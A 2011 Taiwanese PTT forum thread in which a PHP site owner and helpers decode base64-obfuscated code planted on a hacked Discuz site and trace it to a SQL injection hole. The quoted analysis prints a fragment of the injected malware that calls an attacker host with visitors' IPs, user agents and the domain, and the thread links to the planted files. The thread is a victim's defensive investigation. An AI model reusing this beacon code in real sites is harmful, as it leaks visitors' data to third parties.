作者kidbaby (幸福的進行式)
看板PHP
標題Re: [請益] php 網站被植入密文 base64_decode
時間Mon Oct 17 22:14:19 2011
經過了這陣子的煎熬
我大概能夠猜到 他是利用 discuz 的 sql漏洞 搞出來的結果
更新後..現在應該解決了...
再試看看會不會發生這樣的問題吧...
※ 引述《kidbaby (幸福的進行式)》之銘言：
: ※ 引述《mervynW (.)》之銘言：
: : 先解到這邊. 建議你. passwd 全換一換吧
: : function evaloPoIEXQacJTquN($s) {return @file_get_contents($s);}
: : 他老兄要抓你的local file 都沒問題啦.
: : DB 應該也被趴走了吧 (茶)
: : 要找這種code最快的就是從 eval replace echo.
: : cp 2~3次就可以看到他的code了.
: : eval 拿掉也沒辦法執行 (茶), 所以變無害的 code
: : 解到最後, 這傢伙還沒那麼壞嘛.
: : file_get_contents ::
: : http://cacacacacacacacacaca.ca/in.php?
: : i=CLIENT_IP
: : &b=USER_AGENT
: : &h=DOMAIN_NAME
: : 最終結果是,知道你網站流量,分析你網站值不值的攻擊
: 太慘了 ...........................
: 我有些私密的東西放在這個網域裡面的儲存裝置 (不是在這個server) 慘慘慘
: 我大概說明一下
: 我的網站是
: 中華電信 50m/5m
: 硬體 i5-2400 + ASRock h67m-itx + 4G*2 ddr3 + Intel SSD x25-m G2 34nm 80G.
: windows 7 旗艦版 + Appserv v2.5.10 架的
: 在www目錄下被放置 .htaccess 跟 thumbs.db 兩個檔案 時間是 2011/8/9號上午12:04分
: 可是我上一次更動上面三個網站的東西 應該都在8/9之前
: 看樣子不像是掛了什麼模組內藏了這兩個檔案被偷放
: 所以我完全不了解他什麼時候放的
: 這台電腦也沒有掛ftp (不過別台有)
: 他到底是怎麼放的呢....
: http://dl.dropbox.com/u/12118398/Thumbs222.zip
: 我把這兩個檔案放出來 看看有沒有高手能完全解譯他...囧
: 這下真的囧了.........
: 真的沒偷抓檔案嗎....@@
: 還是偷抓我網芳的檔案....? 那我就完了...= ="
--
<囧>" 打擊~
■
ㄥㄥ
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 114.32.247.164
1F：→ davidou: <囧>" 打擊~ 10/18 02:23
2F：→ MOONRAKER: ■ 10/18 10:17
3F：→ MOONRAKER: )( 10/18 10:21
4F：推 LaPass: ￣￣￣￣\ /￣￣￣￣￣ 10/18 10:29
5F：→ davidou: | | 10/18 11:34
6F：→ kilfu0701: | | 10/18 11:35
7F：→ kuAIpAI: | | 10/18 12:16
8F：→ swallowcc: \/ 10/18 13:07
9F：推 LaPass: /\ 10/18 13:20
10F：→ LaPass: |￣ ￣| 10/18 13:21
11F：→ sharkblue: - - - - 10/18 13:41
12F：推 gmoz:所以是sql injection? 10/18 14:11
13F：→ kidbaby: 應該是的..... discuz的漏洞 已更新 10/24 23:49